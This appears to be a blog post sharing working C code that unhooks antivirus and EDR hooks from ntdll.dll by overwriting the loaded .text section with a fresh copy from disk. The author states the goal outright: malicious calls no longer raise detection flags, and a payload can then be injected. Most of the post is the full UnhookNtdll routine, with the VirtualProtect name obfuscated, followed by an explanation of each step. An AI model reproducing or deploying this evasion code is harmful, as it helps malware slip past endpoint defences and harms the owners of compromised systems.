Hi All,
I am going to share a simple code to allow you to unhook AV engine from the NTDLL by overwritting dll loaded into the process with the fresh copy of the dll. The expectation of overwritting the dll is to remove the hooked NTDLL API where the impact is no detection by the AV.
We can see that there are 2 NTDLL has been loaded. Number 1 is the fresh copy of ntdll.dll file that we load using hFile = CreateFile((LPCSTR)sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);. Number 2 is the ntdll.dll that is loaded during the process creation

Below is the API (Adjust Privileges Token) without the AV hook hence any malicious action will not be stop or raise any flags. We can see the pattern mov r10,rcx

Below is the API (Adjust Privileges Token) with the AV hook hence any malicious call to this API will be diverted to AV engine for analyses which might raise detection flags

Below is the function code to overwrite the loaded DLL
static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
/*
UnhookNtdll() finds .text segment of fresh loaded copy of ntdll.dll and copies over the hooked one
*/
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)pMapping;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
int i;
unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
// find .text section
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
//Get the section of the PE Image of loaded fresh dll file
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)pImgSectionHead->Name, ".text")) {
// prepare ntdll.dll memory region for write permissions.
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
if (!oldprotect) {
// RWX failed!
return -1;
}
// copy fresh .text section into ntdll memory
memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
(LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize);
// restore original protection settings of ntdll memory
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if (!oldprotect) {
// it failed
return -1;
}
return 0;
}
}
// failed? .text not found!
return -1;
}
In the above code there are some important section to enable the overwritting to be successful.
The Loop
This loop to enumerate every section available in the loaded image. The target for enumeration is to find the .text section
static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
DWORD oldprotect = 0;
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)pMapping;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
int i;
// Looping every section
for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
//Get the section of the PE Image of loaded fresh dll file
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
printf("Header Section Name %s \n", pImgSectionHead->Name);
}
// failed? .text not found!
return -1;
}
Virtual Protect for RWX
This code is to allow the memory address range of ntdll.dll that has been loaded to be RWX (PAGE_EXECUTE_READWRITE) so that it can be overwritten with the fresh copy that we load from the NTDLL file
VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
Overwritting the memory
Righ after the memory range (.text section) protection has been changed to be writeable then we can start to copy the fresh copy of the ntdll.dll to the address range. We copy the .text section which contain the execution code of the ntdll.dll
memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
(LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize);
After the fresh the copy of the ntdll.dll has bee fully in place in the memory address range of the old NTDLL then we need to return back the memory protection to the OLD protection using the VirtualProtect API. Remember that in the previous VirtualProtect call, we store the value of previous protection flag (oldprotect) before we change it to become RWX which we can use the flag to restore to its original memory protection
We can see that we are able to inject the payload because we overwrite the ntdll.dll that has been hooked with AV call with a fresh copy of ntdll.dll
